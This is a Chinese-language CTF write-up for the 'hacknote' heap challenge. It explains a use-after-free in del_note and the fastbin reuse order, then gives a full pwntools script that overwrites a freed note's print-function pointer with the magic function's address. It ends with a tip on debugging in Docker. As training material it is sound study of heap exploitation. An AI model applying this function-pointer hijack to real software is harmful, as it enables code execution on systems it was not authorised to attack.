No PIE,说明可以直接用 ida 中看到的地址,比如最后要执行的 magic 函数(// starts at 8048986)。
可以看到 add_note 使用了 malloc,del_note 只用了 free 但没有给指针赋值 NULL,所以可以在 free 后使用。
结构体 note 有两个指针,一个指向打印 note 的函数(正常流程是 print_note_content),一个指向 note 记录的 content。在 print_note 中会调用打印 note 的函数。
所以应该输入 note content 时用 magic 覆盖掉原来 printnote 指针指向的 print_note_content,利用没有置空的 printnote 在 print_note 中执行 magic 函数。
结构体 note 在 malloc 时会分配为 fastbin,16 字节大小的空间。如果要让 magic 的地址在写内容时覆盖到之前 free 过的 note 里,就要申请和 note 一样大小的 note->content 空间(sizeof + gcc -m32 可算,8 字节),同时保证没有覆盖到之前 note 的内容空间里(就是说前面的 note->content 不能是 16 字节 fastbin 大小的)。此外,要申请 note->content 首先要申请 note,所以之前得 free 掉两个 content 段不为 16 字节的 note,访问时用第一个 note->printnote 调用 magic(fastbin 的链表是后来的插入到头里)
脚本(需要先写好/home/hacknote/flag):
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h' ]
io = process('./hacknote')
magic_addr = 0x08048986
# gdb.attach(io)
# add_note * 2
for _ in range(2):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(50))
io.recvuntil(":")
io.sendline("xxx")
# del_note * 2
for i in range(2):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(i))
# gdb.attach(io)
# add_note magic_addr
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(8))
io.recvuntil(":")
io.sendline(p32(magic_addr))
# print_note
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(0))
io.interactive()
另外 docker 里要调试,得在 run 时加上--cap-add=SYS_PTRACE
,进入 tmux,再在脚本里加上context.terminal = ['tmux', 'splitw', '-h' ]
才行,不过都装好后在哪里的机器都能用是很方便的。